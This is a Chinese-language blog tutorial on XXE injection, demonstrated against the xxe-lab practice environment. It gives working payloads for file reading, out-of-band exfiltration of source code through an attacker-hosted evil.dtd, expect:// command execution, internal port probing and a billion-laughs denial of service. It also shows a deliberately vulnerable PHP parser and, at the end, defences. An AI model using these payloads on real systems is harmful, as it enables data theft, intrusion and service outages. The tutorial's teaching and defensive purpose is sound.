浅谈XXE漏洞:从XML到文件读取

一、什么是XXE漏洞?

XXE漏洞全称是XML External Entity Injection,即XML外部实体注入漏洞,当XML允许引用外部实体并解析时,攻击者就可以构造恶意实体的payload进行注入攻击,造成文件读取、命令执行、攻击内网网站及SSRF等危害。

二、什么是XML,DTD?

XML全称是可扩展标记语言(EXtensible Markup Language),它的格式与HTML很像,通常被用来传输和存储数据,XML的标签没有被预定义,所以我们需要自行定义标签。

DTD全称是文档类型定义(Document Type Definition),是一套关于标记符的语法规则。它可被成行地声明于 XML 文档中,也可作为一个外部引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>

<!DOCTYPE student [
<!ELEMENT student (name,age,info)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT info (#PCDATA)>
]>

<student>
<name>小星</name>
<age>18</age>
<info>三好学生</info>
</student>

XML的一般格式:

1、XML声明:<?xml version="1.0"?>

2、定义文档内部或者引用外部实体格式:
(1)内部DTD文档:<!DOCTYPE 根元素 [定义内容]>
(2)外部DTD文档:

  • 当引用的DTD文件是本地文件的时候

    1
    <!DOCTYPE 根元素名称 system "URI/URL">
  • 当引用的DTD文件是一个公共的文件时

    1
    <!DOCTYPE 根元素名称 PUBLIC "DTD文件名称" "URL">

3、引用实体:&实体名称

三、XXE漏洞

什么情况下会出现XXE漏洞呢?我们看下面这段代码:

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

这段代码引用了一个外部实体,变量名为xxe,值为:file:///etc/passwd,然后用&xxe引用实体。当我们构造恶意实体的payload,对引用实体路径进行注入攻击时,就造成了xxe攻击。

四、XXE漏洞的危害

进行XXE漏洞测试时,除了一些XML的基础外,还需要了解不同的协议,PHP支持的协议有:

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

任意文件读取

index.php

1
2
3
4
5
6
7
8
9
<?php
echo LIBXML_DOTTED_VERSION;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom-> LoadXML($xmlfile, LIBXML_BIGLINES | LIBXML_NOWARNING | LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom ($dom);
echo $creds;
?>

index.php需要接收一个POST请求才能执行,我们把以下XML代码POST过去就可以实现任意文件读取:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

实例:

靶场环境:xxe-lab
源码下载链接:https://codeload.github.com/c0ny1/xxe-lab/zip/master

进入靶场,发现这是一个登陆界面

用burpsuite抓包发现,数据是利用XML进行传输的

从上图可以看出响应包中显示的内容为username的值,然后我们就可以构造payload,最后输出在username里就可以了
payload:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<user><username>&xxe;</username><password>123</password></user>

这种是有回显的xxe注入。

接下来我们尝试一下无回显的情况,修改源代码,添加error_reporting(0);禁止报错,并注释输出。

再次尝试注入就不会返回结果

这时我们就需要进行参数实体注入

构造payload:

1
2
3
4
5
6
7
<?xml version="1.0"?> 
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-lab/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.1.129/evil.dtd">
%dtd;
%send;
]>

%表示参数实体,% file表示定义一个名为file的参数实体,然后再SYSTEM引用外部实体内容'php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/xxe-lab/php_xxe/doLogin.php'

这里我们还需要kail,开启kali的apache2服务,然后在/var/www/html目录下新建文件evil.dtd,内容为:

1
2
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.1.129/?content=%file;'>"> 
%payload;

然后我们开始监控apache的访问日志,在终端输入:

然后发送请求,执行payload

浏览器上还是没有显示结果,不过这时再查看监控的日志文件,发现已经得到了doLogin.php的源码

命令执行

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

注意:这种情况下得安装Expect拓展才能,而默认情况下expect是没有安装的。

内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

还用刚才的xxe-labs来演示,payload如下:

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.106:81"
>]>
<user><username>&xxe;</username><password>1</password></user>

这里虽然有些地方是乱码的,不过可以看出81端口是没有开放的,我们再对比一下80端口的返回结果

虽然80端口也有一点报错信息,但经过对比可以明显看出80端口是开放的。

DDoS拒绝服务攻击

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE xxez [
<!ENTITY xxe "xxe">
<!ENTITY xxe2 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
<!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
<!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
<!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
<!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
<!ENTITY xxe7 "&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;">
<!ENTITY xxe8 "&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;">
<!ENTITY xxe9 "&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;">
]>
<xxez>&xxe9;</xxez>

该攻击原理为:构造恶意的XML实体文件耗尽可用内存,由于许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,就会导致解析非常慢,从而造成了拒绝服务器攻击。

五、XXE的防御措施

1、使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据
过滤关键词:

1
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC

六、总结

通过总结,让我对XXE漏洞有了一个全新的认识,这其中也花了很长时间,特别是测试的过程,有些地方网上描述的不是很清楚,所以自己花了很长时间来查资料和实践,不过还好,多花点时间在学习上总比无所事事强。

参考:
https://www.jianshu.com/p/7325b2ef8fc9
https://blog.csdn.net/u012991692/article/details/80866826
https://www.cnblogs.com/zhaijiahui/p/9147595.html
https://blog.csdn.net/nzjdsds/article/details/98763063

文章目录
  1. 1. 一、什么是XXE漏洞?
  2. 2. 二、什么是XML,DTD?
  3. 3. 三、XXE漏洞
  4. 4. 四、XXE漏洞的危害
  5. 5. 五、XXE的防御措施
  6. 6. 六、总结
|